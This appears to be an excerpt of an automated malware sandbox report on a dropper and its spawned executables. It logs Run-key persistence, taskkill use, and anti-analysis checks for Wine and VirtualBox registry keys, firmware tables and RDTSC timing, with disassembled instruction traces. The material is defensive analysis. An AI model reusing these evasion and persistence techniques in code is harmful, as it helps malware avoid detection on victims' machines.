Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F39D second address: F3F3A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E46 second address: 10C4E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E51 second address: 10C4E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E55 second address: 10C4E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E59 second address: 10C4E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4E77 second address: 10C4E98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007EFDB8CDCB0Fh 0x00000008 jnp 00007EFDB8CDCB06h 0x0000000e pop edi 0x0000000f je 00007EFDB8CDCB12h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFB1B second address: 10BFB4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007EFDB8F26A1Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFDB8F26A1Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFB4E second address: 10BFB58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFDB8CDCB06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3E93 second address: 10C3EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop edx 0x00000009 js 00007EFDB8F26A25h 0x0000000f jmp 00007EFDB8F26A1Fh 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4011 second address: 10C4015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4015 second address: 10C4026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007EFDB8F26A16h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C41B1 second address: 10C41B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C41B7 second address: 10C41BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C41BB second address: 10C41CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFDB8CDCB06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C41CA second address: 10C41D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C41D0 second address: 10C41D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6E53 second address: 10C6EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFDB8F26A20h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnl 00007EFDB8F26A1Eh 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push ebx 0x0000001a jnl 00007EFDB8F26A18h 0x00000020 pop ebx 0x00000021 pop eax 0x00000022 movsx edx, si 0x00000025 push 00000003h 0x00000027 jmp 00007EFDB8F26A22h 0x0000002c push 00000000h 0x0000002e mov edx, 0965B5E0h 0x00000033 push 00000003h 0x00000035 mov dh, 12h 0x00000037 push AF9CCAF3h 0x0000003c jg 00007EFDB8F26A20h 0x00000042 add dword ptr [esp], 1063350Dh 0x00000049 mov esi, dword ptr [ebp+122D3A49h] 0x0000004f lea ebx, dword ptr [ebp+1245BC1Eh] 0x00000055 mov edi, dword ptr [ebp+122D3B3Dh] 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007EFDB8F26A29h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6EF6 second address: 10C6F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007EFDB8CDCB06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6F3E second address: 10C6F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6F44 second address: 10C6F49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6F49 second address: 10C6F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push ecx 0x0000000b mov ecx, dword ptr [ebp+122D3B19h] 0x00000011 pop esi 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D1CA2h], edi 0x0000001a push 6E0B5E14h 0x0000001f jnp 00007EFDB8F26A20h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C71B7 second address: 10C71BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C71BB second address: 10C71C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C71C1 second address: 10C71C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7DF8 second address: 10E7DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7DFE second address: 10E7E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7E02 second address: 10E7E16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007EFDB8F26A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007EFDB8F26A1Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7E16 second address: 10E7E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007EFDB8CDCB0Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7E25 second address: 10E7E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007EFDB8F26A16h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7E39 second address: 10E7E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5E18 second address: 10E5E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5E1E second address: 10E5E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5E26 second address: 10E5E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5FAE second address: 10E5FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFDB8CDCB06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5FB8 second address: 10E5FD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007EFDB8F26A22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6169 second address: 10E6191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007EFDB8CDCB06h 0x00000009 jc 00007EFDB8CDCB06h 0x0000000f jmp 00007EFDB8CDCB17h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E62D4 second address: 10E62DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E62DA second address: 10E62DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6864 second address: 10E686C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E686C second address: 10E6872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6872 second address: 10E687D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007EFDB8F26A16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E687D second address: 10E689F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007EFDB8CDCB15h 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007EFDB8CDCB06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A3E second address: 10E6A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6B7F second address: 10E6B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8CDCB10h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6B97 second address: 10E6BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007EFDB8F26A1Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6BB0 second address: 10E6BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
